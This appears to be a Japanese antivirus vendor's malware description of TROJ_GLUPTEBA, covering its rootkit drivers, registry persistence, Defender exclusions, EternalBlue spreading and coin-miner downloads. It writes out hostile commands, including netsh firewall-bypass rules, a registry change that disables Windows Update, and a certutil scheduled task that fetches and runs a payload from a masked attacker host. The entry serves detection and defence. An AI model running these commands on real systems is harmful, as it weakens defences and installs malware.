TROJ_GLUPTEBA.TIFODAJ

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

マルウェアは、特定のWebサイトにアクセスし、情報を送受信します。

侵入方法

マルウェアは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

マルウェアは、以下のコンポーネントファイルを作成します。

• %System%\drivers\winmon.sys - rootkit, hides processes.
• %System%\drivers\WinmonFS.sys - rootkit, hides files and folders.
• %System%\drivers\WinmonProcessMonitor.sys - rootkit, finds specific processes and closes them.

(註：%System%フォルダは、システムフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows\System32" です。.)

マルウェアは、感染したコンピュータ内に以下のように自身のコピーを作成します。

• %Windows%\rss\csrss.exe

(註：%Windows%フォルダは、Windowsが利用するフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows" です。.)

マルウェアは、以下のフォルダを作成します。

• %User Temp%\csrss
• %Windows%\rss

(註：%User Temp%フォルダは、ユーザの一時フォルダで、Windows 2000、XP および Server 2003 の場合、通常、"C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"、Windows Vista 、 7 、8、8.1 、Server 2008 および Server 2012の場合、"C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。.. %Windows%フォルダは、Windowsが利用するフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows" です。.)

マルウェアは、以下の Mutex を作成し、メモリ上で自身の重複実行を避けます。

• Global\h48yorbq6rm87zot

マルウェアは、自身（コンピュータに侵入して最初に自身のコピーを作成したマルウェア）を終了し、侵入したコンピュータ内で作成した自身のコピーの方を実行します。

自動実行方法

マルウェアは、自身のコピーがWindows起動時に自動実行されるよう以下のレジストリ値を追加します。

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
{random name} = %Windows%\rss\csrss.exe

他のシステム変更

マルウェアは、以下のレジストリキーを追加します。

HKEY_CURRENT_USER\Software\Microsoft\
TestApp

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\Winmon

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\Winmon\Security

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS\Instances

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS\Instances\
WinmonFS

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS\Security

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonProcessMonitor

マルウェアは、以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\Winmon
DisplayName = Winmon

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\Winmon
ErrorControl = 0

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\Winmon
Start = 3

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\Winmon
Type = 1

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\Winmon\Security
Security = {hex values}

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS
DependOnService = FltMgr

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS
DisplayName = WinmonFS

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS
ErrorControl = 0

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS
Group = FSFilter Activity Monitor

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS
ImagePath = \??\%System%\drivers\WinmonFS.sys

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS
Start = 3

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS
Type = 2

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS\Instances
DefaultInstance = WinmonFS

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS\Instances\
WinmonFS
Altitude = 370000

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS\Instances\
WinmonFS
Flags = 0

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonFS\Security
Security = {hex values}

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\Winmon
ImagePath = \??\%System%\drivers\Winmon.sys

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonProcessMonitor
DisplayName = WinmonProcessMonitor

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonProcessMonitor
ErrorControl = 0

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonProcessMonitor
ImagePath = \??\{hex values}\drivers\WinmonProcessMonitor.sys

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonProcessMonitor
Start = 1

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\
services\WinmonProcessMonitor
Type = 1

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Windows% = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Windows%\rss = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Application Data%\EpicNet Inc\CloudNet = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%User Temp%\csrss = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Application Data%\PatientVoice = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%Windows%\windefender.exe = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%User Temp%\wup = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Paths
%System%\drivers = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Processes
csrss.exe = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Processes
cloudnet.exe = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Processes
windefender.exe = 0

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\
Windows Defender\Exclusions\Processes
{malware filename} = 0

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Name = {random}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Defender = {string}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Servers = https://{BLOCKED}mmute.com, https://{BLOCKED}acon.com

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
UUID = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Command = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
FirstInstallDate = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
CloudnetSource = {string}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
ServiceVersion = {string}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
SC = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
PGDSE = {value]

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
VC = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
OSCaption = {Operating System of affected machine}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
OSArchitecture = {32 or 64}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
IsAdmin = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
AV = {strings}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
PatchTime = {value}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
CPU = {CPU details of affected machine}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
GPU = {GPU details of affected machine}

HKEY_CURRENT_USER\Software\Microsoft\
TestApp
Firewall = {string}

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスして自身のコンポーネントファイルをダウンロードします。

• http://{BLOCKED}mmer.{BLOCKED}/app/deps.zip - EternalBlue/DoublePulsar components
• http://dp.{BLOCKED}dcoolest.{BLOCKED}/scheduled.exe - Updated copy of itself
• http://{BLOCKED}mmer.{BLOCKED}/app/app.exe - Updated copy of itself
• http://{BLOCKED}mmer.{BLOCKED}/app/vc.exe - Downloads browser credential stealer
• http://{BLOCKED}mmer.{BLOCKED}/app/watchdog.exe - Downloader for another TROJ_GLUPTEBA malware
• http://{BLOCKED}tner.{BLOCKED}/cloudnet.exe

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• EternalBlue\DoublePulsar files are extracted and saved as:
  • %User Temp%\csrss\smb\adfw-2.dll
  • %User Temp%\csrss\smb\adfw.dll
  • %User Temp%\csrss\smb\cnli-0.dll
  • %User Temp%\csrss\smb\cnli-1.dll
  • %User Temp%\csrss\smb\coli-0.dll
  • %User Temp%\csrss\smb\crli-0.dll
  • %User Temp%\csrss\smb\dmgd-1.dll
  • %User Temp%\csrss\smb\dmgd-4.dll
  • %User Temp%\csrss\smb\Doublepulsar-1.3.1.exe
  • %User Temp%\csrss\smb\esco-0.dll
  • %User Temp%\csrss\smb\Eternalblue-2.2.0.exe
  • %User Temp%\csrss\smb\exma-1.dll
  • %User Temp%\csrss\smb\exma.dll
  • %User Temp%\csrss\smb\iconv.dll
  • %User Temp%\csrss\smb\libcurl.dll
  • %User Temp%\csrss\smb\libeay32.dll
  • %User Temp%\csrss\smb\libiconv-2.dll
  • %User Temp%\csrss\smb\libxml2.dll
  • %User Temp%\csrss\smb\payload32.dll
  • %User Temp%\csrss\smb\payload64.dll
  • %User Temp%\csrss\smb\pcla-0.dll
  • %User Temp%\csrss\smb\pcre-0.dll
  • %User Temp%\csrss\smb\pcrecpp-0.dll
  • %User Temp%\csrss\smb\pcreposix-0.dll
  • %User Temp%\csrss\smb\posh-0.dll
  • %User Temp%\csrss\smb\posh.dll
  • %User Temp%\csrss\smb\pytrch.py
  • %User Temp%\csrss\smb\pytrch.pyc
  • %User Temp%\csrss\smb\riar-2.dll
  • %User Temp%\csrss\smb\riar.dll
  • %User Temp%\csrss\smb\ssleay32.dll
  • %User Temp%\csrss\smb\tibe-1.dll
  • %User Temp%\csrss\smb\tibe-2.dll
  • %User Temp%\csrss\smb\tibe.dll
  • %User Temp%\csrss\smb\trch-0.dll
  • %User Temp%\csrss\smb\trch-1.dll
  • %User Temp%\csrss\smb\trch.dll
  • %User Temp%\csrss\smb\trfo-0.dll
  • %User Temp%\csrss\smb\trfo-2.dll
  • %User Temp%\csrss\smb\trfo.dll
  • %User Temp%\csrss\smb\tucl-1.dll
  • %User Temp%\csrss\smb\tucl.dll
  • %User Temp%\csrss\smb\ucl.dll
  • %User Temp%\csrss\smb\xdvl-0.dll
  • %User Temp%\csrss\smb\zibe.dll
  • %User Temp%\csrss\smb\zlib1.dll
  • %User Temp%\csrss\smb\_pytrch.pyd
• %User Temp%\csrss\cloudnet.exe
• %User temp%\csrss\vc.exe
• %Windows%\windefender.exe

(註：%User Temp%フォルダは、ユーザの一時フォルダで、Windows 2000、XP および Server 2003 の場合、通常、"C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"、Windows Vista 、 7 、8、8.1 、Server 2008 および Server 2012の場合、"C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。.. %Windows%フォルダは、Windowsが利用するフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows" です。.)

その他

マルウェアは、以下のWebサイトにアクセスし、情報を送受信します。

• https://{DOMAIN}/bots/register
• https://{DOMAIN}/bots/poll
• https://{DOMAIN}/bots/update-data
• https://{DOMAIN}/bots/report-install
• https://{DOMAIN}/bots/log
• https://{DOMAIN}/bots/report
• https://{BLOCKED}mmute.{BLOCKED}/bots/install-failure

＜補足＞
インストール

マルウェアは、以下のコンポーネントファイルを作成します。

• %System%\drivers\winmon.sys - プロセスを隠すルートキット
• %System%\drivers\WinmonFS.sys - ファイルおよびフォルダを隠すルートキット
• %System%\drivers\WinmonProcessMonitor.sys - 特定のプロセスを見つけ出し終了させるルートキット

（註：%System%フォルダは、システムフォルダで、いずれのオペレーティングシステム(OS)でも通常 "C:\Windows\System32" です。）

ダウンロード活動

マルウェアは、以下のWebサイトにアクセスして自身のコンポーネントファイルをダウンロードします。

• http://{BLOCKED}mmer.{BLOCKED}/app/deps.zip - EternalBlue/DoublePulsarのコンポーネントをダウンロードする
• http://dp.{BLOCKED}dcoolest.{BLOCKED}/scheduled.exe - 更新された自身のコピーをダウンロードする
• http://{BLOCKED}mmer.{BLOCKED}/app/app.exe - 更新された自身のコピーをダウンロードする
• http://{BLOCKED}mmer.{BLOCKED}/app/vc.exe - ブラウザの認証情報を窃取するマルウェアをダウンロードする
• http://{BLOCKED}mmer.{BLOCKED}/app/watchdog.exe - 別の TROJ_GLUPTEBAのダウンローダをダウンロードする
• http://{BLOCKED}tner.{BLOCKED}/cloudnet.exe

マルウェアは、以下のファイル名でダウンロードしたファイルを保存します。

• EternalBlue\DoublePulsar のファイルは展開され以下として保存されます。
  • %User Temp%\csrss\smb\adfw-2.dll
  • %User Temp%\csrss\smb\adfw.dll
  • %User Temp%\csrss\smb\cnli-0.dll
  • %User Temp%\csrss\smb\cnli-1.dll
  • %User Temp%\csrss\smb\coli-0.dll
  • %User Temp%\csrss\smb\crli-0.dll
  • %User Temp%\csrss\smb\dmgd-1.dll
  • %User Temp%\csrss\smb\dmgd-4.dll
  • %User Temp%\csrss\smb\Doublepulsar-1.3.1.exe
  • %User Temp%\csrss\smb\esco-0.dll
  • %User Temp%\csrss\smb\Eternalblue-2.2.0.exe
  • %User Temp%\csrss\smb\exma-1.dll
  • %User Temp%\csrss\smb\exma.dll
  • %User Temp%\csrss\smb\iconv.dll
  • %User Temp%\csrss\smb\libcurl.dll
  • %User Temp%\csrss\smb\libeay32.dll
  • %User Temp%\csrss\smb\libiconv-2.dll
  • %User Temp%\csrss\smb\libxml2.dll
  • %User Temp%\csrss\smb\payload32.dll
  • %User Temp%\csrss\smb\payload64.dll
  • %User Temp%\csrss\smb\pcla-0.dll
  • %User Temp%\csrss\smb\pcre-0.dll
  • %User Temp%\csrss\smb\pcrecpp-0.dll
  • %User Temp%\csrss\smb\pcreposix-0.dll
  • %User Temp%\csrss\smb\posh-0.dll
  • %User Temp%\csrss\smb\posh.dll
  • %User Temp%\csrss\smb\pytrch.py
  • %User Temp%\csrss\smb\pytrch.pyc
  • %User Temp%\csrss\smb\riar-2.dll
  • %User Temp%\csrss\smb\riar.dll
  • %User Temp%\csrss\smb\ssleay32.dll
  • %User Temp%\csrss\smb\tibe-1.dll
  • %User Temp%\csrss\smb\tibe-2.dll
  • %User Temp%\csrss\smb\tibe.dll
  • %User Temp%\csrss\smb\trch-0.dll
  • %User Temp%\csrss\smb\trch-1.dll
  • %User Temp%\csrss\smb\trch.dll
  • %User Temp%\csrss\smb\trfo-0.dll
  • %User Temp%\csrss\smb\trfo-2.dll
  • %User Temp%\csrss\smb\trfo.dll
  • %User Temp%\csrss\smb\tucl-1.dll
  • %User Temp%\csrss\smb\tucl.dll
  • %User Temp%\csrss\smb\ucl.dll
  • %User Temp%\csrss\smb\xdvl-0.dll
  • %User Temp%\csrss\smb\zibe.dll
  • %User Temp%\csrss\smb\zlib1.dll
  • %User Temp%\csrss\smb\_pytrch.pyd
• %User Temp%\csrss\cloudnet.exe
• %User temp%\csrss\vc.exe
• %Windows%\windefender.exe

（註：%User Temp%フォルダは、ユーザの一時フォルダで、Windows 2000、XP および Server 2003 の場合、通常、"C:\Documents and Settings\＜ユーザー名＞\Local Settings\Temp"、Windows Vista 、 7 、8、8.1 、Server 2008 および Server 2012の場合、"C:\Users\＜ユーザ名＞\AppData\Local\Temp" です。.. %Windows%フォルダは、Windowsが利用するフォルダで、いずれのオペレーティングシステム(OS)でも通常、"C:\Windows" です。）

その他

マルウェアは以下を実行します。

• マルウェアは、EternalBlue / DoublePulsarのコンポーネントを使用して以下の脆弱性を利用し、コインマイナーのコンポーネントをネットワーク上に拡散します。
  • Microsoft Windows SMB サーバ(MS17-010) の脆弱性
• Vmware または VirtualBox環境下で実行されていることを確認した場合、自身を終了します。
• Windowsファイアウォールを迂回するために、以下のコマンドを実行します。
  • netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="%Windows%\rss\csrss.exe" enable=yes
  • netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="%Application Data%\EpicNet Inc\CloudNet\cloudnet.exe" enable=yes
• 以下のWebサイトに接続し、コインマイナーとその設定ファイルをダウンロードします。
  • https://{DOMAIN}.com/bots/check?uuid={UUID}
  • https://{DOMAIN}.com/bots/checkv?uuid={UUID}
    • ダウンロードされたコインマイナーのコンポーネントは、以下として保存されます。
      • %User temp%\wup\wup.exe
      • %User temp%\wup\wupv.exe
• 以下のレジストリエントリを変更して、Windows Updateサービスを無効にします。
  • HKEY_LOCAL_MACHINE\CurrentControlSet\services\wuauserv
    value = Start
    data = 4

以下のスケジュールされたタスクを追加します。

• タスク名：csrss
  スケジュール：任意のユーザのログオン時
  実行するタスク：%Windows%\rss\csrss.exe
• タスク名：ScheduledUpdate
  スケジュール：任意のユーザーのログオン時
  実行するタスク： cmd.exe /C certutil.exe -urlcache -split -f http://{BLOCKED}mmer.com/app/app.exe %User Temp%\csrss\scheduled.exe && %User Temp%\csrss\scheduled.exe /31340

注意：

{DOMAIN}の値には以下のいずれかが当てはまります。

• {BLOCKED}mmute.{BLOCKED}
• {BLOCKED}acon.{BLOCKED}